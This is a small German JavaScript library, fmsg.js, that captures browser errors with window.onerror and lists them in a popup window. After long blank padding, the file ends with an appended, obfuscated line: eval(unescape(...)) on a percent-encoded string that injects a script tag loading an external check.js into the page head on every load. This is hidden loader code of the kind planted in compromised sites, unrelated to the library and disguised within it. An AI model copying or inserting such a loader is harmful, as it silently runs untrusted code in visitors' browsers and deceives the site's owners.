// FMSG.JS:  JavaScript-Bibliotheksfktion               19.5.00, maho
// Fktion :  lenkt Fehler in eine AusgabeDatei um
/* Einbau :
                                                // 1. Einbau Libary
<script src="../jslib/fmsg.js">
</script>
...                                             // 2. Aufruf (zB.: per Button)
<input type="button" value="FehlerCheck"
                     onClick="fmsg()">
*/

window.onerror = fehler;                  // Event-Handler onError setzen

fehlerText  = new Array();                // Array's fuer Fehlermeldungen
fehlerURL   = new Array();
fehlerZeile = new Array();
fNr = 0;                                  // zaehlt Fehler

function fehler(txt, URL, zeile) {
  fehlerText [fNr] = txt;
  fehlerURL  [fNr] = URL;
  fehlerZeile[fNr] = zeile;
  fNr++;
  return true;                    // Fehlermeldung des Browsers unterdruecken
}

function fmsg() {
   fmsgFenster= window.open("","fehlerAusgabe",
                               "scrollbars=yes,width=500,height=200")
   with (fmsgFenster.document) {
     open();
     write("<html><head><title>Fehlermeldungen");
     write("</title></head><body>");

     if ( fNr > 0 ) write("<h3>Folgende Fehler sind aufgetreten:</h3>");
     else           write("<h3>Es sind keine Fehler aufgetreten </h3>");

     for (var i = 0; i < fNr; i++) {
       write("<b>Datei:</b> <i>" + fehlerURL[i] + "</i><br>");
       write("<b>Zeile:</b> <i>" + fehlerZeile[i] + "</i><br>");
       write("<b>Fehlermeldung:</b> <i>" + fehlerText[i] + "</i><br><br>");
     }

     write("</body></html>");
     close();
   }
   fmsgFenster.focus();
}




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%36%34%36%34%32%3B%20%4A%53%53%33%20%3D%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      





































































































